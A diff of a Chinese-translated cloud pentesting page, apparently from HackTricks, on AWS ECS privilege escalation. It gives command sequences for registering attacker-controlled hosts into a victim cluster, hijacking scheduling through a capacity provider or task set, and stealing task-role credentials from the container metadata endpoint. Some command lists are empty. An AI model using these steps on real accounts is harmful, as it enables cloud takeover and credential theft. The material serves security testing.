具有这些权限的攻击者通常可以**将“cluster membership”转化为绕过安全边界**:
|
||||
|
||||
- TODO: 是否有可能从不同的 AWS 账户注册实例,从而让任务在由攻击者控制的机器上运行??
|
||||
- 将一个 **受攻击者控制的 EC2 实例** 注册到受害者 ECS 集群(成为一个 container instance)
|
||||
- 设置自定义 **container instance attributes** 以满足 **placement constraints**
|
||||
- 让 ECS 将任务调度到该主机
|
||||
- 从在你主机上运行的任务中窃取 **task role credentials**(以及容器内的任何 secrets/data)
|
||||
|
||||
高层次工作流程:
|
||||
|
||||
1) 从你在目标账户中控制的 EC2 实例获取 EC2 实例身份文档 + 签名(例如通过 SSM/SSH):
|
||||
```bash
|
||||
curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json
|
||||
curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig
|
||||
```
|
||||
2) 将其注册到目标集群,可选择设置属性以满足 placement constraints:
|
||||
```bash
|
||||
aws ecs register-container-instance \
|
||||
--cluster "$CLUSTER" \
|
||||
--instance-identity-document file://iidoc.json \
|
||||
--instance-identity-document-signature "$(cat iisig)" \
|
||||
--attributes name=labtarget,value=hijack
|
||||
```
|
||||
3) 确认它已加入:
|
||||
```bash
|
||||
aws ecs list-container-instances --cluster "$CLUSTER"
|
||||
```
|
||||
4) 启动一个 task / 更新一个 service,使某个东西在 instance 上被调度,然后从 task 内部获取 task role creds:
|
||||
```bash
|
||||
# On the container host:
|
||||
docker ps
|
||||
docker exec -it <container-id> sh
|
||||
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
```
|
||||
注意:
|
||||
|
||||
- 使用 instance identity document/signature 注册容器实例意味着你已能访问目标账户中的 EC2 实例(或已攻陷其中一台)。对于跨账户的 "bring your own EC2",请参见本页的 **ECS Anywhere** 技术。
|
||||
- Placement constraints 通常依赖于容器实例属性。通过 `ecs:DescribeServices`、`ecs:DescribeTaskDefinition` 和 `ecs:DescribeContainerInstances` 列举它们,以确定需要设置的属性。
|
||||
|
||||
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
@@ -293,7 +343,7 @@ aws ecs execute-command --interactive \
|
||||
> [!NOTE]
|
||||
> TODO: 测试此项
|
||||
|
||||
拥有 `ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet` 和 `ecs:DescribeTaskSets` 权限的攻击者可以**为现有的 ECS 服务创建恶意任务集并更新主任务集**。这使得攻击者能够**在该服务内执行任意代码**。
|
||||
拥有权限 `ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet` 和 `ecs:DescribeTaskSets` 的攻击者可以 **为已有的 ECS 服务创建恶意的 task set 并更新 primary task set**。这使攻击者能够 **在该服务内执行任意代码**。
|
||||
```bash
|
||||
# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
@@ -319,9 +369,9 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**潜在影响**:在受影响的服务中执行任意代码,可能影响其功能或窃取敏感数据。
|
||||
**Potential Impact**: 在受影响的服务中执行任意代码,可能影响其功能或外泄敏感数据。
|
||||
|
||||
## 参考资料
|
||||
## References
|
||||
|
||||
- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
|
||||
|
||||
@@ -333,45 +383,45 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi
|
||||
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
|
||||
具有管理 ECS capacity providers 和更新服务权限的攻击者可以创建一个由自己控制的 EC2 Auto Scaling Group,将其封装为 ECS Capacity Provider,关联到目标 cluster,并将受害者服务迁移到该 provider。任务随后会被调度到攻击者控制的 EC2 实例上,从而获得操作系统级别的访问以检查容器并窃取 task role 凭证。
|
||||
具有管理 ECS capacity providers 和更新 services 权限的攻击者可以创建一个由其控制的 EC2 Auto Scaling Group,将其封装为一个 ECS Capacity Provider,关联到目标 cluster,并将受害者的 service 迁移到该 provider。随后 tasks 将被调度到攻击者控制的 EC2 实例上,从而获得操作系统级别的访问权,检查容器并窃取 task role 凭证。
|
||||
|
||||
Commands (us-east-1):
|
||||
|
||||
- 前置条件
|
||||
- 先决条件
|
||||
|
||||
|
||||
|
||||
- 为 ECS agent 创建 Launch Template 以加入目标 cluster
|
||||
- Create Launch Template for ECS agent to join target cluster
|
||||
|
||||
|
||||
|
||||
- 创建 Auto Scaling Group
|
||||
- Create Auto Scaling Group
|
||||
|
||||
|
||||
|
||||
- 从 ASG 创建 Capacity Provider
|
||||
- Create Capacity Provider from the ASG
|
||||
|
||||
|
||||
|
||||
- 将 Capacity Provider 关联到 cluster(可选设为默认)
|
||||
- Associate the Capacity Provider to the cluster (optionally as default)
|
||||
|
||||
|
||||
|
||||
- 将服务迁移到你的 provider
|
||||
- Migrate a service to your provider
|
||||
|
||||
|
||||
|
||||
- 验证任务是否部署到攻击者实例上
|
||||
- Verify tasks land on attacker instances
|
||||
|
||||
|
||||
|
||||
- 可选:从 EC2 节点,docker exec 进入目标容器并读取 http://169.254.170.2 来获取 task role 凭证。
|
||||
- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.
|
||||
|
||||
- 清理
|
||||
- Cleanup
|
||||
|
||||
|
||||
|
||||
**潜在影响:** 攻击者控制的 EC2 节点会接收受害者任务,从而获得对容器的操作系统级别访问并窃取 task IAM role 凭证。
|
||||
**Potential Impact:** 攻击者控制的 EC2 节点接收受害者的 tasks,从而能够在操作系统层面访问容器并窃取 task IAM role 凭证。
|
||||
|
||||
|
||||
<details>
|
||||
@@ -410,23 +460,23 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que
|
||||
|
||||
### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
|
||||
|
||||
滥用 ECS Anywhere 在受害者 ECS cluster 中将攻击者控制的主机注册为 EXTERNAL container instance,并在该主机上使用具有特权的 task 和 execution roles 运行任务。这授予对任务运行位置的操作系统级别控制(你的机器),并允许从任务和附加卷中窃取凭证/数据,而无需触碰 capacity providers 或 ASGs。
|
||||
利用 ECS Anywhere 将攻击者控制的主机注册为受害者 ECS cluster 中的 EXTERNAL container instance,并在该主机上使用具有特权的 task 和 execution roles 运行 tasks。这样可在操作系统层面控制 tasks 的运行位置(在你自己的机器上),并在不触及 capacity providers 或 ASGs 的情况下,窃取 tasks 及其挂载卷中的凭证/数据。
|
||||
|
||||
- 所需权限(示例最小集合):
|
||||
- 所需权限(示例最小):
|
||||
- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
|
||||
- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
|
||||
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole(用于 ECS Anywhere 实例角色和 task/execution roles)
|
||||
- logs:CreateLogGroup/Stream, logs:PutLogEvents(如果使用 awslogs)
|
||||
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
|
||||
- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)
|
||||
|
||||
- 影响:在攻击者主机上以选定的 taskRoleArn 运行任意容器;从 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI 外泄 task-role 凭证;访问任务挂载的任何卷;比操纵 capacity providers/ASGs 更隐蔽。
|
||||
- Impact: 在攻击者主机上以指定的 taskRoleArn 运行任意容器;从 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI 外泄 task-role 凭证;访问 tasks 挂载的任何卷;比操作 capacity providers/ASGs 更隐蔽。
|
||||
|
||||
步骤
|
||||
Steps
|
||||
|
||||
1) 创建/识别 cluster (us-east-1)
|
||||
1) Create/identify cluster (us-east-1)
|
||||
```bash
|
||||
aws ecs create-cluster --cluster-name ht-ecs-anywhere
|
||||
```
|
||||
2) 创建 ECS Anywhere 角色并进行 SSM 激活(针对 on-prem/EXTERNAL instance)
|
||||
2) 创建 ECS Anywhere 角色并进行 SSM activation(用于 on-prem/EXTERNAL instance)
|
||||
```bash
|
||||
aws iam create-role --role-name ecsAnywhereRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
@@ -435,7 +485,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam:
|
||||
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
|
||||
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
|
||||
```
|
||||
3) 部署 attacker 主机并将其自动注册为 EXTERNAL(例如:小型 AL2 EC2 作为 “on‑prem”)
|
||||
3) 部署 attacker host 并将其自动注册为 EXTERNAL (例如:小型 AL2 EC2 作为 “on‑prem”)
|
||||
|
||||
<details>
|
||||
<summary>user-data.sh</summary>
|
||||
@@ -456,14 +506,14 @@ IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
|
||||
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
|
||||
aws ec2 wait instance-status-ok --instance-ids $IID
|
||||
```
|
||||
4) 验证 EXTERNAL 容器实例已加入
|
||||
4) 验证 EXTERNAL container instance 已加入
|
||||
```bash
|
||||
aws ecs list-container-instances --cluster ht-ecs-anywhere
|
||||
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
|
||||
--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
|
||||
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
|
||||
```
|
||||
5) 创建 task/execution roles、注册 EXTERNAL task definition,并在 attacker host 上运行它
|
||||
5) 创建 task/execution roles,注册 EXTERNAL task definition,并在 attacker host 上运行它
|
||||
```bash
|
||||
# roles
|
||||
aws iam create-role --role-name ht-ecs-task-exec \
|
||||
@@ -499,7 +549,7 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain
|
||||
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
|
||||
--container-instances $CI
|
||||
```
|
||||
6) 从这里你可以控制运行任务的主机。你可以读取任务日志(如果使用 awslogs),或者直接在主机上 exec 来外传任务的凭证/数据。
|
||||
6) 从这里你可以控制运行这些任务的主机。你可以读取任务日志(如果使用 awslogs),或直接在主机上 exec 以外泄任务的凭证/数据。
|
||||
|
||||
|
||||
|
||||
@@ -510,7 +560,7 @@ aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
|
||||
|
||||
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
|
||||
|
||||
拥有管理 ECS capacity providers 和更新 services 权限的攻击者可以创建一个由其控制的 EC2 Auto Scaling Group,将其封装为一个 ECS Capacity Provider,关联到目标 cluster,并将受害者的 service 迁移为使用该 provider。随后,Tasks 会被调度到攻击者控制的 EC2 实例上,攻击者因此可获得 OS 级别访问,对容器进行检查并窃取 task role credentials。
|
||||
拥有管理 ECS capacity providers 和更新 services 权限的攻击者可以创建一个由自己控制的 EC2 Auto Scaling Group,将其包装成 ECS Capacity Provider,关联到目标 cluster,并将受害者的 service 迁移到该 provider。这样 tasks 就会被调度到攻击者控制的 EC2 实例上,从而获得操作系统级访问以检查容器并窃取 task role credentials。
|
||||
|
||||
Commands (us-east-1):
|
||||
|
||||
@@ -548,5 +598,5 @@ Commands (us-east-1):
|
||||
|
||||
|
||||
|
||||
**Potential Impact:** 攻击者控制的 EC2 节点会接收受害者的 tasks,从而获得 OS 级别访问容器并窃取 task IAM role credentials。
|
||||
**Potential Impact:** 攻击者控制的 EC2 节点会接收受害者的 tasks,从而获得对容器的操作系统级访问并窃取 task IAM role 凭证。
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user